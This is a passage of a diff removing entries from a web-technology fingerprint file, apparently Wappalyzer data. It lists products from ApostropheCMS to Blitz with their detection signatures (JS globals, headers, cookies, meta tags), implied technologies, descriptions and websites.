}, - "ApostropheCMS": { - "js": [ - "apos_dialogs.dialogattributes", - "apos.csrfcookiename" - ], - "implies": [ - "Node.js" - ], - "description": "ApostropheCMS is a powerful website builder platform built on an enterprise open source CMS.", - "website": "https://apostrophecms.com" - }, - "AppDynamics": { - "js": [ - "adrum.conf.agentver" - ], - "description": "AppDynamics is an application performance management (APM) and IT operations analytics (ITOA) company based in San Francisco.", - "website": "https://appdynamics.com" - }, - "AppNexus": { - "js": [ - "appnexus", - "appnexusvideo" - ], - "description": "AppNexus is a cloud-based software platform that enables and optimizes programmatic online advertising.", - "website": "http://appnexus.com" - }, - "Appcues": { - "js": [ - "appcues" - ], - "description": "Appcues is a solution for measuring and improving product adoption.", - "website": "https://www.appcues.com/" - }, - "Appian": { - "js": [ - "appian", - "appian", - "_appian_proxies_initialized", - "webpackjsonpappian" - ], - "description": "Appian is an enterprise low-code application platform.", - "website": "https://www.appian.com" - }, - "Apple Business Chat": { - "js": [ - "applebusinesschat.version" - ], - "description": "Apple Business Chat is a service from Apple that allows your organization to directly chat with your customers using the Messages app.", - "website": "https://developer.apple.com/documentation/businesschat" - }, - "Apple MapKit JS": { - "js": [ - "mapkit._tileprovider" - ], - "headers": { - "content-security-policy": "\\.apple-mapkit\\.com" - }, - "description": "Apple MapKit JS lets you embed interactive maps directly into your websites across platforms and operating systems, including iOS and Android.", - "website": "https://developer.apple.com/maps/web/" - }, - "Apple Pay": { - "js": [ - "applepay", - "applepaybuttonclicked", - "braintree.applepay", - "checkout.enabledpayments.applepay", - "dw.applepay", - "enableapplepay" - ], - "description": "Apple Pay is a mobile payment and digital wallet service by Apple that allows users to make payments in person, in iOS apps, and on the web.", - "website": "https://www.apple.com/apple-pay" - }, - "Apple Sign-in": { - "js": [ - "appleid" - ], - "meta": { - "appleid-signin-client-id": [] - }, - "description": "Apple Sign-in is based on OAuth 2.0 and OpenID Connect, and provides a privacy-friendly way for users to sign in to websites and apps.", - "website": "https://developer.apple.com/sign-in-with-apple/" - }, - "Apple iCloud Mail": { - "description": "Apple iCloud Mail is a webmail service provided by Apple, Inc.", - "website": "https://www.apple.com/icloud/" - }, - "ApplicantStack": { - "description": "ApplicantStack is a full-service applicant tracking system that automates and streamlines all stages of the hiring process.", - "website": "https://www.applicantstack.com" - }, - "Application Request Routing": { - "headers": { - "x-powered-by": "^arr/([\\d\\.]+)$\\;version:\\1" - }, - "implies": [ - "IIS" - ], - "description": "Application Request Routing (ARR) is an extension to Internet Information Server (IIS), which enables an IIS server to function as a load balancer.", - "website": "https://www.iis.net/downloads/microsoft/application-request-routing" - }, - "Appointy": { - "description": "Appointy is a cloud-based scheduling solution that helps professionals and businesses to manage their appointment scheduling activities and routines.", - "website": "https://www.appointy.com/" - }, - "Appsflyer": { - "js": [ - "appsflyersdkobject" - ], - "description": "AppsFlyer is a SaaS mobile marketing analytics and attribution platform.", - "website": "https://www.appsflyer.com/" - }, - "Apptus": { - "cookies": { - "apptus.customerkey": "", - "apptus.sessionkey": "" - }, - "js": [ - "apptusesales", - "apptusconfig", - "apptusdebug" - ], - "description": "Apptus is an AI-powered ecommerce optimisation software provider.", - "website": "https://www.apptus.com" - }, - "Aprimo": { - "description": "Aprimo is a United States-based company that develops and sells marketing automation software and digital asset management technology.", - "website": "https://www.aprimo.com" - }, - "AptusShop": { - "meta": { - "generator": [ - "^aptusshop\\.pl$" - ] - }, - "description": "AptusShop is proprietary online store software created from scratch and developed by Aptus.pl.", - "website": "https://www.aptusshop.pl" - }, - "AquilaCMS": { - "meta": { - "powered-by": [ - "aquilacms" - ] - }, - "implies": [ - "Next.js", - "Node.js", - "React", - "MongoDB", - "Amazon Web Services" - ], - "description": "AquilaCMS is a fullstack, headless CMS written in JavaScript.", - "website": "https://www.aquila-cms.com/" - }, - "Arastta": { - "headers": { - "arastta": "^(.+)$\\;version:\\1", - "x-arastta": "" - }, - "implies": [ - "PHP" - ], - "description": "Arastta is a free and open-source project with contributors from all over the world.", - "website": "http://arastta.org" - }, - "Arc": { - "js": [ - "arc.p2pclient", - "arcwidgetjsonp" - ], - "description": "Arc is a peer-to-peer CDN that pays site owners for using it. Instead of expensive servers in distant datacenters, Arc's network is comprised of browsers.", - "website": "https://arc.io" - }, - "Arc XP": { - "js": [ - "fusion.arcsite" - ], - "description": "Arc XP is a cloud-based digital experience platform that helps enterprise companies, retail brands and media and entertainment organization create and distribute content, drive digital commerce, and deliver powerful experiences.", - "website": "https://www.arcxp.com" - }, - "ArcGIS API for JavaScript": { - "description": "ArcGIS API for JavaScript is a tool used to embed maps and tasks in web applications.", - "website": "https://developers.arcgis.com/javascript/" - }, - "Arena": { - "js": [ - "arenahub.arenaidentify", - "arenaliveblog", - "arenaim.initializeliveblog" - ], - "description": "Arena widget is an embeddable widget provided by the Arena platform, which allows users to embed live blogs directly on their website.", - "website": "https://arena.im" - }, - "Arreva": { - "description": "Arreva is a fundraising software that provides the ability to mobilise constituents using the donor tracking system.", - "website": "https://www.arreva.com" - }, - "Arsys Domain Parking": { - "description": "Arsys is a Spanish domain registrar.", - "website": "https://www.arsys.es" - }, - "Artifactory": { - "js": [ - "artifactoryupdates" - ], - "html": [ - "\u003cspan class=\"version\"\u003eartifactory(?: pro)?(?: power pack)?(?: ([\\d.]+))?\\;version:\\1" - ], - "website": "http://jfrog.com/open-source/#os-arti" - }, - "Artifactory Web Server": { - "headers": { - "server": "artifactory(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Artifactory" - ], - "website": "http://jfrog.com/open-source/#os-arti" - }, - "Aruba.it": { - "headers": { - "x-servername": "\\.aruba\\.it" - }, - "description": "Aruba.it is an Italian company mainly active in the web hosting and domain registration businesses.", - "website": "https://www.aruba.it" - }, - "ArvanCloud": { - "js": [ - "arvancloud" - ], - "headers": { - "server": "arvancloud" - }, - "description": "ArvanCloud is a cloud services provider, offering a wide range of incorporated cloud services including CDN, DDoS mitigation, Cloud Managed DNS, Cloud Security, VoD/AoD Streaming, Live Streaming, Cloud Compute, Cloud Object Storage, and PaaS.", - "website": "http://www.arvancloud.ir" - }, - "Arya CMS": { - "js": [ - "aryacms" - ], - "description": "Arya CMS is a lesser-known content management system that may not have a significant user base or active development community.", - "website": "https://sndigitalhub.com" - }, - "Asana": { - "description": "Asana is a web and mobile application designed to help teams organize, track, and manage their work.", - "website": "https://asana.com" - }, - "AsciiDoc": { - "js": [ - "asciidoc" - ], - "meta": { - "generator": [ - "^asciidoc ([\\d.]+)\\;version:\\1" - ] - }, - "description": "AsciiDoc is a text document format for writing documentation, slideshows, web pages, man pages and blogs. AsciiDoc files can be translated to many formats including HTML, PDF, EPUB, man page.", - "website": "http://www.methods.co.nz/asciidoc" - }, - "Asciidoctor": { - "meta": { - "generator": [ - "^asciidoctor\\s([\\d\\.]+)$\\;version:\\1" - ] - }, - "implies": [ - "Ruby" - ], - "description": "Asciidoctor is an open-source text processor and publishing toolchain, written in Ruby, for converting AsciiDoc content to HTML 5, DocBook 5, and other formats.", - "website": "https://github.com/asciidoctor/asciidoctor" - }, - "Asciinema": { - "js": [ - "asciinemaplayer", - "asciinema" - ], - "html": [ - "\u003casciinema-player" - ], - "description": "Asciinema is a free and open-source solution for recording terminal sessions and sharing them on the web.", - "website": "https://asciinema.org/" - }, - "Asendia": { - "description": "Asendia is an international mail joint venture of French La Poste and Swiss Post.", - "website": "https://www.asendia.com" - }, - "Asgaros Forum": { - "description": "Asgaros Forum is a lightweight and simple forum plugin for WordPress.", - "website": "https://www.asgaros.de" - }, - "Astra": { - "description": "Astra is a fast, lightweight, and highly customizable WordPress Theme.", - "website": "https://wpastra.com/" - }, - "Astra Widgets": { - "description": "Astra Widgets is a handy little free plugin that lets you display address, list icons or social profiles within the Astra Theme.", - "website": "https://wpastra.com/did-you-know-astra-is-widget-ready" - }, - "Astro": { - "js": [ - "astro" - ], - "meta": { - "generator": [ - "^astro\\sv([\\d\\.]+)$\\;version:\\1" - ] - }, - "description": "Astro is a new JavaScript-based static site builder.", - "website": "https://astro.build" - }, - "Astute Solutions": { - "description": "Astute Solutions is a customer engagement software.", - "website": "https://astutesolutions.com" - }, - "Atatus": { - "js": [ - "atatus.version" - ], - "description": "Atatus is a full-stack observability tool that let you identify the performance bottlenecks and helps you optimise your application at the right time.", - "website": "https://www.atatus.com" - }, - "Athena Search": { - "description": "Athena Search is a customizable autocomplete, feature-rich dashboard, smart predictions, real-time reports search engine developed from scratch by Syncit Group’s.", - "website": "https://www.athenasearch.io" - }, - "Atlassian Bitbucket": { - "js": [ - "bitbucket" - ], - "html": [ - "\u003cli\u003eatlassian bitbucket \u003cspan title=\"[a-z0-9]+\" id=\"product-version\" data-commitid=\"[a-z0-9]+\" data-system-build-number=\"[a-z0-9]+\"\u003e v([\\d.]+)\u003c\\;version:\\1" - ], - "meta": { - "application-name": [ - "bitbucket" - ] - }, - "implies": [ - "Python" - ], - "description": "Bitbucket is a web-based version control repository hosting service for source code and development projects that use either Mercurial or Git revision control systems.", - "website": "http://www.atlassian.com/software/bitbucket/overview/" - }, - "Atlassian Confluence": { - "headers": { - "x-confluence-request-time": "" - }, - "meta": { - "confluence-request-time": [] - }, - "implies": [ - "Java" - ], - "description": "Atlassian Confluence is a web-based collaboration wiki tool.", - "website": "http://www.atlassian.com/software/confluence/overview/team-collaboration-software" - }, - "Atlassian FishEye": { - "cookies": { - "fesessionid": "" - }, - "html": [ - "\u003ctitle\u003e(?:log in to )?fisheye (?:and crucible )?([\\d.]+)?\u003c/title\u003e\\;version:\\1" - ], - "website": "http://www.atlassian.com/software/fisheye/overview/" - }, - "Atlassian Jira": { - "js": [ - "jira.id" - ], - "meta": { - "application-name": [ - "jira" - ], - "data-version": [ - "([\\d.]+)\\;version:\\1\\;confidence:0" - ] - }, - "implies": [ - "Java" - ], - "website": "http://www.atlassian.com/software/jira/overview/" - }, - "Atlassian Jira Issue Collector": { - "description": "Atlassian Jira Issue Collector is a tool used to download a list of websites using with email addresses, phone numbers and LinkedIn profiles.", - "website": "http://www.atlassian.com/software/jira/overview/" - }, - "Atlassian Statuspage": { - "headers": { - "x-statuspage-skip-logging": "", - "x-statuspage-version": "" - }, - "html": [ - "\u003ca[^\u003e]*href=\"https?://(?:www\\.)?statuspage\\.io/powered-by[^\u003e]+\u003e" - ], - "description": "Statuspage is a status and incident communication tool.", - "website": "https://www.atlassian.com/software/statuspage" - }, - "Atome": { - "js": [ - "atomewidget" - ], - "description": "Atome is a brand that allows users to purchase products online and pay for them in monthly installments.", - "website": "https://www.atome.sg/" - }, - "Attentive": { - "js": [ - "__attentive", - "__attentive_domain", - "attn_email_save" - ], - "description": "Attentive is a personalised mobile messaging platform that helps retail \u0026 ecommerce brands acquire, retain, and interact with mobile shoppers.", - "website": "https://www.attentivemobile.com" - }, - "Attraqt": { - "js": [ - "_attraqt" - ], - "description": "Attraqt provides AI-driven search, merchandising and personalisation solutions.", - "website": "https://www.attraqt.com/" - }, - "AudioEye": { - "js": [ - "$ae.attrhooks", - "window.audioeye.version" - ], - "description": "AudioEye is an accessibility overlay which claims to provide ADA and WCAG accessibility compliance.", - "website": "https://www.audioeye.com" - }, - "Audiohook": { - "description": "Audiohook specializes in programmatic audio advertising.", - "website": "https://www.audiohook.com" - }, - "Aument": { - "description": "Aument is an ecommerce toolbox with easy to use marketing actions and workflows.", - "website": "https://aument.io" - }, - "Aura": { - "js": [ - "aura.app" - ], - "description": "Aura is an open-source UI framework built by Salesforce for developing dynamic web apps for mobile and desktop devices.", - "website": "https://github.com/forcedotcom/aura" - }, - "Aurelia": { - "js": [ - "_aureliaconfiguremoduleloader", - "localaurelia" - ], - "description": "Aurelia is an open-source UI JavaScript framework designed to create single page applications.", - "website": "http://aurelia.io" - }, - "Auryc": { - "js": [ - "aurycjslibconfig.base.code_version" - ], - "description": "Auryc is a client-side journey intelligence platform that surfaces real-time insights.", - "website": "https://www.auryc.com" - }, - "Australia Post": { - "description": "Australia Post is the government business enterprise that provides postal services in Australia.", - "website": "https://auspost.com.au" - }, - "Auth0": { - "headers": { - "x-auth0-requestid": "" - }, - "description": "Auth0 provides authentication and authorisation as a service.", - "website": "https://auth0.github.io/auth0.js/index.html" - }, - "Auth0 Lock": { - "implies": [ - "Auth0" - ], - "description": "Auth0 Lock enables you to easily add social identity providers, so that your users can log in seamlessly using any desired provider.", - "website": "https://auth0.com/docs/libraries/lock" - }, - "Autoketing": { - "description": "Autoketing is a marketing automation platform.", - "website": "https://autoketing.com" - }, - "Autoketing Product Reviews": { - "js": [ - "autoketingproduct_reivew" - ], - "implies": [ - "Shopify", - "Autoketing" - ], - "description": "Autoketing Product Reviews is an application that allows shop owners to manage the product review section on their website.", - "website": "https://apps.shopify.com/product-reviews-autoketing" - }, - "Automatad": { - "description": "Automatad is a digital media products company that provides a suite of programmatic monetisation solutions.", - "website": "https://automatad.com/" - }, - "Automizely": { - "js": [ - "am_consent_sdk.product", - "amstorefrontkit.hrequesteventtarget", - "automizelyconversions" - ], - "description": "Automizely creates and manages enterprise-level marketing automation systems including contact and CRM mappings, lead funnels, email nurture, lead-generating pages, and blog posts, and website integrations.", - "website": "https://www.automizely.com/marketing" - }, - "Autopilot": { - "js": [ - "autopilot", - "autopilotanywhere" - ], - "description": "Autopilot is a visual marketing software that enables users to create marketing campaigns and manage lead conversions. ", - "website": "https://www.autopilothq.com" - }, - "Autoptimize": { - "description": "Autoptimize is a WordPress plugin that optimises website performance by aggregating, minifying, and compressing HTML, CSS, and JavaScript files.", - "website": "https://autoptimize.com" - }, - "Avada AVASHIP": { - "js": [ - "avada_fsb.bars" - ], - "description": "Avada AVASHIP is an order tracking Shopify app.", - "website": "https://apps.shopify.com/avaship" - }, - "Avada Boost Sales": { - "js": [ - "avada_bs_last_update" - ], - "description": "AVADA Boost Sales is a one-stop solution that is specially designed to increase your sales with countdown timer, trust badges, sales pop, sales boost and many more.", - "website": "https://apps.shopify.com/avada-boost-sales" - }, - "Avada SEO": { - "description": "Avada SEO is a Shopify app built and designed following strict SEO practices.", - "website": "https://apps.shopify.com/avada-seo-suite" - }, - "Avada Size Chart": { - "description": "Avada Size Chart is a thoughtful app that helps online stores reduce return rates with useful size guides.", - "website": "https://apps.shopify.com/avada-size-chart" - }, - "Avangate": { - "js": [ - "avacart.version", - "__avng8_callbacks", - "avaslugify" - ], - "implies": [ - "Verifone 2Checkout" - ], - "description": "Avangate (2Checkout) is a digital ecommerce platform for businesses that sell physical goods or digital products.", - "website": "https://www.2checkout.com" - }, - "Avanser": { - "js": [ - "avanserjs", - "avansercore", - "avanseroptions" - ], - "description": "Avanser allow you to track every call and enable your business to make better-informed decisions based on your phone calls.", - "website": "https://www.avanser.com" - }, - "Avasize": { - "website": "https://www.avasize.com" - }, - "Avis Verifies": { - "js": [ - "avisverifies" - ], - "description": "Avis Verifies is a complete solution for managing your customer reviews.", - "website": "https://www.netreviews.com" - }, - "Aweber": { - "js": [ - "awt_analytics" - ], - "description": "AWeber is an email marketing service.", - "website": "https://www.aweber.com" - }, - "Awesomplete": { - "js": [ - "awesomplete" - ], - "html": [ - "\u003clink[^\u003e]+href=\"[^\u003e]*awesomplete(?:\\.min)?\\.css" - ], - "description": "Awesomplete is a tool in the Javascript UI Libraries category of a tech stack.", - "website": "https://leaverou.github.io/awesomplete/" - }, - "Axeptio": { - "js": [ - "axeptiosdk", - "axeptiosettings" - ], - "description": "Axeptio is a trusted third party that collects and archive users' consent in a GDPR compliant fashion.", - "website": "https://www.axeptio.eu" - }, - "Axios": { - "js": [ - "axios.get" - ], - "description": "Promise based HTTP client for the browser and node.js", - "website": "https://github.com/axios/axios" - }, - "Azion": { - "headers": { - "server": "^azion " - }, - "website": "https://www.azion.com/" - }, - "Azko CMS": { - "description": "Azko CMS is a content management system developed by Azko (Septeo Group) specifically launched for lawyers in France.", - "website": "https://www.azko.fr" - }, - "Azoya": { - "js": [ - "image_cdn_host" - ], - "headers": { - "x-azoya-webisteid": "" - }, - "description": "Azoya helps international brands and retailers sell directly to Chinese consumers through cross-border ecommerce.", - "website": "https://www.azoyagroup.com" - }, - "Azure": { - "cookies": { - "arraffinity": "", - "tipmix": "" - }, - "headers": { - "azure-regionname": "", - "azure-sitename": "", - "azure-slotname": "", - "azure-version": "", - "server": "^windows-azure", - "x-ms-client-request-id": "", - "x-ms-correlation-request-id": "", - "x-ms-gateway-requestid": "" - }, - "description": "Azure is a cloud computing service for building, testing, deploying, and managing applications and services through Microsoft-managed data centers.", - "website": "https://azure.microsoft.com" - }, - "Azure AD B2C": { - "implies": [ - "Azure" - ], - "description": "Azure Active Directory B2C is a customer identity access management (CIAM) solution.", - "website": "https://azure.microsoft.com/en-us/services/active-directory/external-identities/b2c/" - }, - "Azure CDN": { - "headers": { - "server": "^(?:ecacc|ecs|ecd)", - "x-ec-debug": "" - }, - "implies": [ - "Azure" - ], - "description": "Azure Content Delivery Network (CDN) reduces load times, save bandwidth and speed responsiveness.", - "website": "https://azure.microsoft.com/en-us/services/cdn/" - }, - "Azure Front Door": { - "cookies": { - "aslbsa": "", - "aslbsacors": "" - }, - "headers": { - "x-azure-ref": "" - }, - "implies": [ - "Azure" - ], - "description": "Azure Front Door is a scalable and secure entry point for fast delivery of your global web applications.", - "website": "https://docs.microsoft.com/en-us/azure/frontdoor/" - }, - "Azure Monitor": { - "headers": { - "content-security-policy": "js\\.monitor\\.azure\\.com" - }, - "implies": [ - "Azure" - ], - "description": "Azure Monitor collects monitoring telemetry from a variety of on-premises and Azure sources. Azure Monitor helps you maximise the availability and performance of your applications and services.", - "website": "https://azure.microsoft.com/en-us/services/monitor" - }, - "B2C Europe": { - "description": "B2C Europe offers logistic solutions for your ecommerce businesses.", - "website": "https://www.b2ceurope.eu/" - }, - "BEM": { - "html": [ - "\u003c[^\u003e]+data-bem" - ], - "description": "BEM (Block, Element, Modifier) is a naming convention for classes in HTML and CSS what was developed by Yandex.", - "website": "http://en.bem.info" - }, - "BIGACE": { - "meta": { - "generator": [ - "bigace ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "Bigace is a free open-source content management developed in PHP and JavaScript that uses a MySQL or ADOdb environment.", - "website": "https://github.com/bigace" - }, - "BON Loyalty": { - "js": [ - "bonshopinfo.appearance" - ], - "description": "BON Loyalty is a free rewards and referrals app that helps merchants increase customer engagement with captivating points, rewards \u0026 referral program.", - "website": "https://bonloyalty.com" - }, - "BOOM": { - "headers": { - "x-supplied-by": "mana" - }, - "meta": { - "generator": [ - "^boom site builder$" - ] - }, - "implies": [ - "WordPress" - ], - "website": "http://manaandisheh.com" - }, - "BRT": { - "description": "BRT, also known as Bartolini, is an Italian-based logistics service provider.", - "website": "https://www.brt.it" - }, - "BSmart": { - "cookies": { - "bsmartstate": "" - }, - "js": [ - "bsgetbsmartstock", - "bsmartpricelist", - "bsmartconfirmwindow" - ], - "description": "BSmart is an ecommerce platform, programmed by Microline.", - "website": "https://www.bsmart.co.il/?utm_source=wappalyzer\u0026utm_medium=referral" - }, - "Babel": { - "js": [ - "_babelpolyfill" - ], - "description": "Babel is a free and open-source transcompiler for writing next generation JavaScript.", - "website": "https://babeljs.io" - }, - "Bablic": { - "js": [ - "bablic" - ], - "description": "Bablic is a localisation solution to translate your website.", - "website": "https://www.bablic.com/" - }, - "Babylist": { - "description": "Babylist is a universal wish list.", - "website": "https://www.babylist.com" - }, - "Babylon.js": { - "js": [ - "babylon.addressmode" - ], - "description": "Babylon.js is a real time 3D engine using a JavaScript library for displaying 3D graphics in a web browser via HTML5. The source code is available on GitHub and distributed under the Apache License 2.0.", - "website": "https://www.babylonjs.com/" - }, - "Back In Stock": { - "description": "Back In Stock lets your customers choose restock alerts for specific variant combinations, including size, colour or style.", - "website": "https://backinstock.org" - }, - "Backbone.js": { - "js": [ - "backbone", - "backbone.version" - ], - "implies": [ - "Underscore.js" - ], - "description": "BackboneJS is a JavaScript library that allows to develop and structure the client side applications that run in a web browser.", - "website": "http://backbonejs.org" - }, - "Backdrop": { - "js": [ - "backdrop" - ], - "headers": { - "x-backdrop-cache": "", - "x-generator": "^backdrop cms(?:\\s([\\d.]+))?\\;version:\\1" - }, - "meta": { - "generator": [ - "^backdrop cms(?:\\s([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "https://backdropcms.org" - }, - "Baidu Analytics (百度统计)": { - "description": "Baidu Analytics (百度统计) is a free tool for tracking and reporting traffic data of users visiting your site.", - "website": "https://tongji.baidu.com/" - }, - "Baidu Maps": { - "js": [ - "bmap.version", - "bmap_api_version" - ], - "description": "Baidu Maps is a desktop and mobile web mapping service application and technology provided by Baidu, offering satellite imagery, street maps, street view and indoor view perspectives, as well as functions such as a route planner for traveling by foot, car, or with public transportation.", - "website": "https://map.baidu.com" - }, - "BambooHR": { - "js": [ - "scrolltobamboohr" - ], - "headers": { - "content-security-policy": "\\.bamboohr\\.com" - }, - "description": "BambooHR is an American technology company that provides human resources software as a service.", - "website": "https://www.bamboohr.com" - }, - "Bambuser": { - "js": [ - "bambuserliveshopping", - "_bambuser" - ], - "description": "Bambuser is a SaaS company based in Stockholm that provides live video shopping technology.", - "website": "https://bambuser.com" - }, - "BandsInTown Events Widget": { - "description": "Bandsintown Events Widget is a free widget which makes it simple to embed your event listings and allow fans to buy tickets, RSVP, follow you and join your Email \u0026 SMS lists.", - "website": "https://artists.bandsintown.com/support/events-widget" - }, - "Banshee": { - "headers": { - "x-powered-by": "banshee php framework v([\\d\\.]+)\\;version:\\1" - }, - "meta": { - "generator": [ - "banshee php" - ] - }, - "implies": [ - "PHP" - ], - "description": "Banshee is a PHP website framework with a main focus on security. Banshee is protected against common attacks like SQL injection, cross-site scripting, cross-site request forgery and session hijacking.", - "website": "http://www.banshee-php.org" - }, - "Barba.js": { - "js": [ - "barba.version" - ], - "description": "Barba.js is a small and easy-to-use javascript library that helps you creating fluid and smooth transitions between your website's pages.", - "website": "https://barba.js.org" - }, - "Barilliance": { - "description": "Barilliance is an ecommerce personalisation tools including cart abandonment emails, personalised product recommendations, onsite personalisation, and live notifications.", - "website": "https://www.barilliance.com" - }, - "Base": { - "js": [ - "base_api.shop_id", - "base.app.open_nav" - ], - "meta": { - "base-theme-name": [ - "\\;confidence:50" - ], - "base-theme-version": [ - "\\d+\\;confidence:50" - ] - }, - "description": "Base is a hosted ecommerce platform that allows business owners to set up an online store and sell their products online.", - "website": "https://thebase.in" - }, - "Basic": { - "headers": { - "www-authenticate": "^basic" - }, - "description": "Basic is an authetication method used by some web servers.", - "website": "https://tools.ietf.org/html/rfc7617" - }, - "Basis Technologies": { - "description": "Basis Technologies, formerly ‘Centro,’ provides cloud-based workflow automation and business intelligence software for marketing.", - "website": "https://basis.net/" - }, - "Batflat": { - "meta": { - "generator": [ - "^batflat$" - ] - }, - "implies": [ - "PHP", - "SQLite" - ], - "description": "Batflat is a lightweight CMS for free.", - "website": "https://batflat.org" - }, - "Bazaarvoice Curation": { - "description": "Bazaarvoice Curation is a content curation service Bazaarvoice provides post it's acquisition of Curalate.", - "website": "https://www.bazaarvoice.com/products/visual-and-social-content/" - }, - "Bazaarvoice Reviews": { - "js": [ - "bv.api" - ], - "description": "Bazaarvoice is a provider of user-generated content solutions like ratings and reviews and Q\u0026A.", - "website": "https://www.bazaarvoice.com/products/ratings-and-reviews/" - }, - "Beam AfterSell": { - "js": [ - "aftersell.hooks" - ], - "implies": [ - "Shopify" - ], - "description": "AfterSell is a Shopify app by Beam which helps brands create powerful post purchase offers.", - "website": "https://www.aftersell.com" - }, - "Beam OutSell": { - "js": [ - "outsellairecommendationsisenabled", - "outsellapp" - ], - "implies": [ - "Shopify" - ], - "description": "OutSell is a Shopify app by Beam. Frequently Bought Together, Discounted Upsell, Also Bought.", - "website": "https://apps.shopify.com/outsell" - }, - "Beamer": { - "js": [ - "beamer.enabled", - "_beamer_url" - ], - "description": "Beamer is a feature management platform that allows businesses to manage and share new product releases, feature updates, and bug fixes with their customers.", - "website": "https://www.getbeamer.com" - }, - "Beans": { - "js": [ - "beans3" - ], - "description": "Beans is a provider of ecommerce loyalty programs.", - "website": "https://www.trybeans.com/" - }, - "Beeketing": { - "js": [ - "beeketinganalyticsparams", - "beeketingsdkloaded" - ], - "description": "Beeketing is a suite of marketing apps for ecommerce shop owners.", - "website": "https://beeketing.com" - }, - "Beeswax": { - "description": "Beeswax offers Bidder-as-a-Service solution.", - "website": "https://www.beeswax.com/" - }, - "Bentobox": { - "js": [ - "bentoanalytics" - ], - "description": "Bentobox is a restaurant website platform that handles menus, reservations, gift cards and more.", - "website": "https://getbento.com" - }, - "Better Price": { - "js": [ - "fc_metafield_betterprice.betterpricesuccess" - ], - "implies": [ - "Shopify" - ], - "description": "Better Price is a Shopify app which provide coupons to real leads only when discounted price is requested build by Architechpro.", - "website": "https://apps.shopify.com/better-price" - }, - "Better Uptime": { - "description": "Better Uptime is the all-in-one infrastructure monitoring platform for your incident management, uptime monitoring, and status pages.", - "website": "https://betterstack.com/better-uptime" - }, - "BetterDocs": { - "js": [ - "betterdocs.feedback", - "betterdocs_pro.feedback", - "betterdocspublic.post_id" - ], - "description": "BetterDocs is an advanced documentation and knowledge base plugin for WordPress and Shopify.", - "website": "https://betterdocs.co" - }, - "BetterDocs plugin": { - "implies": [ - "BetterDocs" - ], - "description": "BetterDocs plugin is an advanced documentation and knowledge base plugin for WordPress.", - "website": "https://betterdocs.co/docs/wordpress" - }, - "Betty Blocks": { - "meta": { - "description": [ - "^made with betty blocks$" - ] - }, - "implies": [ - "React" - ], - "description": "Betty Blocks is a cloud-based application development solution featuring a no-code, drag-and-drop interface for developing business applications.", - "website": "https://www.bettyblocks.com" - }, - "Beyable": { - "cookies": { - "beyable-cart": "", - "beyable-cartd": "" - }, - "js": [ - "beyable", - "beyabledomain", - "beyablekey" - ], - "description": "Beyable is a suite of tools that analyze website traffic to understand visitors' behaviors in real-time, through multi-channel in order to optimise conversion rate.", - "website": "https://beyable.com" - }, - "BeyondMenu": { - "description": "BeyondMenu is an online food ordering service.", - "website": "https://www.beyondmenu.com/contactus.aspx" - }, - "Big Cartel": { - "meta": { - "generator": [ - "big cartel" - ] - }, - "description": "Big Cartel is a cloud-hosted ecommerce platform.", - "website": "https://www.bigcartel.com" - }, - "BigCommerce": { - "js": [ - "bigcommerce_config", - "bigcommerce_i18n" - ], - "description": "BigCommerce is a hosted ecommerce platform that allows business owners to set up an online store and sell their products online.", - "website": "http://www.bigcommerce.com" - }, - "BigDataCloud IP Geolocation": { - "description": "BigDataCloud IP Geolocation API provides detailed and accurate locality and security metrics of an IP address.", - "website": "https://www.bigdatacloud.com/packages/ip-geolocation" - }, - "BigTree CMS": { - "js": [ - "bigtree.growling", - "bigtreematrix", - "bigtreetagadder" - ], - "implies": [ - "PHP", - "MySQL" - ], - "description": "BigTree CMS is an extremely extensible open-source CMS built on PHP and MySQL.", - "website": "https://www.bigtreecms.org" - }, - "Bigin": { - "js": [ - "bigincafe24disableoptions", - "bigin_search", - "bigin_sdk_api", - "bigin._checkdatasize" - ], - "description": "Bigin is a cloud-based customer relationship management (CRM) software.", - "website": "https://en.bigin.io" - }, - "Bigware": { - "cookies": { - "bigwadminid": "", - "bigwarecsid": "" - }, - "html": [ - "(?:diese \u003ca href=[^\u003e]+bigware\\.de|\u003ca href=[^\u003e]+/main_bigware_\\d+\\.php)" - ], - "implies": [ - "PHP" - ], - "website": "http://bigware.de" - }, - "Bikayi": { - "description": "Bikayi is a WhatsApp-integrated ecommerce store.", - "website": "https://bikayi.com" - }, - "Billbee": { - "description": "Billbee is an order processing and inventory management solution.", - "website": "https://www.billbee.io/" - }, - "Binance Pay": { - "description": "Binance Pay is a contactless, borderless, and secure cryptocurrency payment technology designed by Binance.", - "website": "https://pay.binance.com" - }, - "Birdeye": { - "js": [ - "bfiframe" - ], - "description": "Birdeye is an all-in-one customer experience platform.", - "website": "https://birdeye.com" - }, - "Bitcoin": { - "description": "Bitcoin is a decentralized digital currency, without a central bank or single administrator, that can be sent from user to user on the peer-to-peer bitcoin network without the need for intermediaries.", - "website": "https://en.wikipedia.org/wiki/Bitcoin" - }, - "BiteSpeed": { - "description": "BiteSpeed is an all-in-one Shopify marketing app which helps ecommerce brands recover revenue.", - "website": "https://www.bitespeed.co" - }, - "Bitrix24": { - "js": [ - "bitrix24formobject", - "b24tracker", - "bitrix24formloader" - ], - "description": "Bitrix24 is a set of tools for the organization and management of business processes.", - "website": "https://www.bitrix24.com" - }, - "BittAds": { - "js": [ - "bitt" - ], - "website": "http://bittads.com" - }, - "Bizweb": { - "js": [ - "bizweb" - ], - "website": "https://www.bizweb.vn" - }, - "Blackbaud CRM": { - "js": [ - "blackbaud", - "don_premium_map" - ], - "description": "Blackbaud CRM gathers fundraising, online applications, actionable prospect research and analytics, and multichannel direct marketing into one platform.", - "website": "https://www.blackbaud.com" - }, - "Blade": { - "headers": { - "x-powered-by": "blade-([\\w.]+)?\\;version:\\1" - }, - "implies": [ - "Java" - ], - "website": "https://lets-blade.com" - }, - "Blazor": { - "implies": [ - "Microsoft ASP.NET" - ], - "website": "https://dotnet.microsoft.com/apps/aspnet/web-apps/blazor" - }, - "Blessing Skin": { - "js": [ - "blessing.version" - ], - "implies": [ - "Laravel" - ], - "description": "Blessing Skin is a plubin that brings your custom skins back in offline Minecraft servers.", - "website": "https://github.com/bs-community/blessing-skin-server" - }, - "Blesta": { - "cookies": { - "blesta_sid": "" - }, - "website": "http://www.blesta.com" - }, - "Blitz": { - "js": [ - "blitz", - "blitzreplace" - ], - "headers": { - "x-powered-by": "^blitz$" - }, - "html": [ - "\u003c!-- cached by blitz on" 